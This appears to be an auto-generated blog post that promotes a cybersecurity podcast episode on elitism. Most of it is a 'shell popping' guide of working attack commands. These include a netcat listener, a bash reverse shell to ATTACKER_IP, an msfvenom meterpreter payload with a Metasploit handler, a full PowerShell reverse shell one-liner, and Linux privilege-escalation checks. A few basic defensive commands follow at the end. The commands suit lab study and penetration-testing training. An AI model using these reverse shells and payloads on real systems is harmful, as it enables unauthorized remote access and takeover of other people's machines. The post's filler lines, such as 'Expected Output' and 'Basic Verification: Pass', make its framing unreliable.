XyverInecurity Podcast on Spotify | Shell Popper, Show Stopper

Listen to this Post

XyverIn5ecurity returns with Episode 4 after a brief hiatus, discussing elitism in the cybersecurity industry and its real-world consequences. The episode also explores the future direction of the podcast. Listen here: XyverIn5ecurity Podcast Episode 4.

You Should Know:

1. Understanding Shell Popping in Cybersecurity

A “shell popper” refers to techniques used to gain shell access on a target system, often through exploits or misconfigurations. Below are some practical commands and steps to understand and simulate shell access in a controlled environment.

2. Basic Netcat Listener (Reverse Shell)

To set up a simple listener for a reverse shell connection:

nc -lvnp 4444

On the target machine (if compromised), initiate the reverse shell:

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

3. Using Metasploit for Shell Access

Metasploit is a powerful framework for penetration testing. To generate a payload and listen for a connection:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf > shell.elf

Start the Metasploit handler:

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x86/meterpreter/reverse_tcp; set LHOST ATTACKER_IP; set LPORT 4444; exploit"

4. Privilege Escalation Checks on Linux

After gaining shell access, check for privilege escalation vectors:

 Check sudo permissions 
sudo -l

Find SUID binaries 
find / -perm -4000 2>/dev/null

Kernel exploits 
uname -a 
searchsploit "Linux Kernel 5.4" 

5. Windows Command for Remote Shell

On Windows, you can use PowerShell to establish a reverse shell:

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

6. Defensive Measures

To detect and prevent unauthorized shell access:

  • Monitor open ports:
    netstat -tulnp 
    
  • Use firewalls (e.g., `ufw` on Linux):
    sudo ufw enable 
    sudo ufw deny 4444 
    

What Undercode Say:

Elitism in cybersecurity creates barriers to knowledge-sharing, leaving systems vulnerable. Practical skills, like shell manipulation and defensive hardening, should be accessible to all. Whether you’re a beginner or an expert, continuous learning and hands-on practice are key.

Additional Linux Commands for Security Practitioners:

  • Check for open ports: `ss -tuln`
  • Analyze processes: `ps aux | grep suspicious`
  • Secure SSH: `sudo nano /etc/ssh/sshd_config` (disable root login)
  • Log analysis: `journalctl -u ssh –no-pager`
  • File integrity checks: `sha256sum /bin/bash`

Windows Security Commands:

  • List scheduled tasks: `schtasks /query /fo LIST`
  • Check firewall rules: `netsh advfirewall show allprofiles`
  • Audit user privileges: `net user [bash]`

Expected Output:

A detailed guide on shell access techniques, defensive measures, and actionable commands for cybersecurity professionals. Listen to the full discussion on elitism and industry challenges in XyverIn5ecurity Podcast Episode 4.

References:

Reported By: Activity 7319845111784161280 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image